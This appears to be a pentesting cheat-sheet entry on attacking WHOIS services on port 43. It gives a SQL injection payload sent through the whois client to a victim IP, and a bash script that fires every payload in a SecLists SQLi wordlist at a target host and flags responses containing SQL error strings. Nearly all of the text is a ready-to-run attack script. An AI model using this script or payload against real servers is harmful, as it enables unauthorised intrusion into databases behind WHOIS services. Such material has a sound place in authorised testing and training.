WHOIS - Port 43
Last updated
whois -h <Victim_ip> -p 43 "a') or 1=1#"#!/bin/bash
# Variables
HOST="10.10.10.10" # Change to the target IP
PORT="43" # Default WHOIS port
WORDLIST="/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt" # Path to your SQLi wordlist
# Check if wordlist exists
if [[ ! -f "$WORDLIST" ]]; then
echo "Wordlist not found!"
exit 1
fi
# Loop through each payload in the wordlist
while IFS= read -r payload; do
echo "Testing with payload: $payload"
# Perform the WHOIS request with the current payload
response=$(whois -h $HOST -p $PORT "$payload")
# Check the response for SQLi indicators (change this according to the specific indicator you want)
if echo "$response" | grep -qi "syntax error\|unexpected"; then
echo "Possible SQLi detected with payload: $payload"
echo "Response: $response"
echo "-------------------------------------------"
fi
done < "$WORDLIST"
echo "SQLi test completed."
chmod +x whois-sqli-tester.sh
./whois-sqli-tester.sh